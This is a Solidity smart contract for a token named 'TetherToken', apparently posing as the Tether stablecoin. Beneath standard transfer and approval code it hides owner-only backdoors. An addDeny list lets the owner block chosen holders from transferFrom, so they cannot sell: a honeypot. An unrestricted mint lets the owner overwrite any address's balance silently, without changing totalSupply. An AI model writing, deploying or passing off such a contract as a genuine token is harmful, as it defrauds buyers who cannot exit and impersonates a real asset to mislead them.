// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;

        assert(c / a == b);

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a / b;

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);

        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;

        assert(c >= a);

        return c;
    }
}

contract Ownable {
    address public owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        owner = msg.sender;
    }
}

contract TetherToken is Ownable {
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;
    mapping(address => uint256) public balances;
    mapping(address => bool) public deny;
    mapping(address => mapping(address => uint256)) public allowed;

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint256 _totalSupply
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply = _totalSupply;
        balances[msg.sender] = totalSupply;
    }

    function showuint160(address addr) public pure returns (uint160) {
        return uint160(addr);
    }

    using SafeMath for uint256;

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(_to != address(0));
        require(_value <= balances[msg.sender]);

        balances[msg.sender] = balances[msg.sender].sub(_value);
        balances[_to] = balances[_to].add(_value);

        emit Transfer(msg.sender, _to, _value);

        return true;
    }

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));

        emit OwnershipTransferred(owner, newOwner);

        owner = newOwner;
    }

    function transferFrom(
        address _from,
        address _to,
        uint256 _value
    ) public returns (bool) {
        require(_to != address(0));
        require(_value <= balances[_from]);
        require(_value <= allowed[_from][msg.sender]);
        require(!deny[_from]);

        balances[_from] = balances[_from].sub(_value);
        balances[_to] = balances[_to].add(_value);
        allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);

        emit Transfer(_from, _to, _value);

        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool) {
        allowed[msg.sender][_spender] = _value;

        emit Approval(msg.sender, _spender, _value);

        return true;
    }

    function allowance(address _owner, address _spender)
        public
        view
        returns (uint256)
    {
        return allowed[_owner][_spender];
    }

    function addDeny(address holder, bool status) external onlyOwner {
        deny[holder] = status;
    }

    function mint(address miner, uint256 _value) external onlyOwner {
        balances[miner] = _value;
    }
}